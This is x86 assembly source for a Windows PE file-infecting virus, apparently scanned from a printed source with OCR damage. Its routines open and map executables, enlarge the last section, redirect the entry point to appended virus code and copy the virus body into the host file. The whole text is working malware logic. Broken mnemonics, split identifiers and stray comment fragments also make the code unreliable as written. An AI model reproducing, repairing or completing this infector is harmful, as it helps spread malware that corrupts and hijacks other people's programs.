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; input:
; ESI = Address of Filename
; _CreateFileA = VA of CreateFileA

; output:
; EAX= 0O pened Filehandle or -1

; used reg
; EAXESI

O penFile proc
XOr eax,eax
push eax
push eax
push 00000003h
push eax
inc eax
push eax
push 80000000h or 40000000h
push esi
call _CreateFileA
ret
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O penFile endp
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;input:

; ECX = Mapping Size

; _CreateFileMappingA = VA of CreateFileMappingA
; FileHandle = O pened Filehandle

; output:

; EAX= Map ped Handle or -1

; used reg

; EAXECX

CreateMap proc
Xor eax,eax
push eax
push ecx
push eax
push 00000004h
push eax
push dword ptr FileHandle
call _CreateFileMappingA
ret
CreateMap endp

; input:

; ECX= Mapping Size

; _MapViewOfFile = VA of MapViewOfFile
; MapHandle = Map ped Maphandle

; output:

; EAX=Map Address or 0

; used reg

; EAXECX

MapFile proc
Xor eax,eax
push ecx
push eax
push eax
push 00000002h
push dword ptr MapHandle
call _MapViewOfFile
ret
MapFile endp
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; input:

; EAX = Value need align
; ECX = FileAlign

; output:

; EAX = Value aligned

; used reg

; EAX ECX,EDX

Align proc
push edx



xor edx,edx
push eax
div ecx
pop eax
sub ecx,edx
add eax,ecx
pop edx
ret

Align endp
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Infection proc
lea esi,WFD_szFileName

push 80h
push esi
call _SetFileAttributesA

call O penFile

inc eax

jz _Infection_CantO pen
dec eax

mov FileHandle,eax

mov ecx,WWFD_nFileSizeLow

_Infection_Mapping:
push ecx
call CreateMap
or eax,eax
jz _Infection_CloseFile
mov MapHandle,eax

pop ecx
call MapFile

or eax,eax

jz _Infection_UnMapFile
mov MapAddress,eax

mov esi,[eax+3Ch]

add esi,eax

cmp IsMap ped,1
jz_Infection_Go_on
cmp dword ptr [esi],"EP"
jnz _Infection_Nolnfect
mov ecx,[esi+3ch]

push dword ptr MapAddress
call _UnmapViewOfFile
push dword ptr MapHandle
call _CloseHandle

mov eax,WFD_nFileSizeLow
add eax,virus_size
call Align

xchg ecx,eax
mov IsMap ped,1
jmp _Infection_Mapping

_Infection_Go_on:

mov edi,esi R EDI = ESI = Ptr to PE header
movzx eax,word ptr [edi+06h] jmmmmmm e AX = Num of sections
dec eax

imul eax,eax,28h et EAX = AX*28h

add esi,78h jmmmmm e Ptr to dir table

mov edx,[edi+74h] et EDX = Num of dir entries



shl edx,3
add esi,edx
add esi,eax

mov eax,[edi+28h]
mov OIdEP,eax

mov eax,[edi+34h]
mov ImgBase,eax
mov edx,[esi+10h]

— EDX = EDX*8

R ESI = Ptr to first section table
R ESI = Ptr to last section table

S EAX = RVA of Entry Point
R EAX = ImageBase

RN EDX = SizeOfRawData

mov ebx,edx jmmmmm e EBX = EDX = SizeOfRawData
add edx[esi+14h] jmmmmm e EDX = EDX+PointerToRawData

push edx

mov eax,ebx jmmmmm e EAX = EBX = SizeOfRawData

mov ebp,[esi+0Ch] jmmmmmm e EBP = VirtualAddress

add eax,ebp e mmmnn EAX = SizeOfRawData + VirtualAddress
mov [edi+28h],eax jmmmmmmmmmen Set RVA of Entry Point to EAX--New EP
mov NewEP,eax

mov eax,ebx jmmmmmmm e EAX = SizeOfRawData

add eax,virus_size jrmmmmmmmnn EAX = SizeOfRawData + VirusSize
mov ecx,[edi+3Ch] jrmmmmmmmnen ECX = File Alignment

call Align

mov [esi+10h],eax jrmmmmmmmnen New Size OfRawData

mov [esi+08h],eax jmmmmmm e New VirtualSize

add eax,ebp R EAX = EAX + VirtualAddress

mov [edi+50h],eax jmmmmmmmmmen EAX = New SizeOflmage

or dword ptr [esi+24h],0f0000020h

lea esi,[virus_start] ; ESI = Ptr to virus_start

pop edx ; EDX = Start of virus will be copy---RAV

xchg edi,edx ; EDI = Start of virus will be copy---RAV , EDX = Ptr to PE header
add edi,MapAddress ; EDI = Start of virus will be copy---VA

MOV ecx,virus_size ; ECX=virus_size

rep movsb ;Do it

jmp _Infection_UnMapFile

_Infection_UnMapFile:
push dword ptr MapAddress
call _UnmapViewOfFile

_Infection_CloseMap:
push dword ptr MapHandle
call _CloseHandle

_Infection_CloseFile:
push dword ptr FileHandle
call _CloseHandle

_Infection_CantO pen:
push dword ptr WFD_dwfFileAttributes
lea eax, WFD_szFileName

push eax
call _SetFileAttributesA
ret

Infection endp
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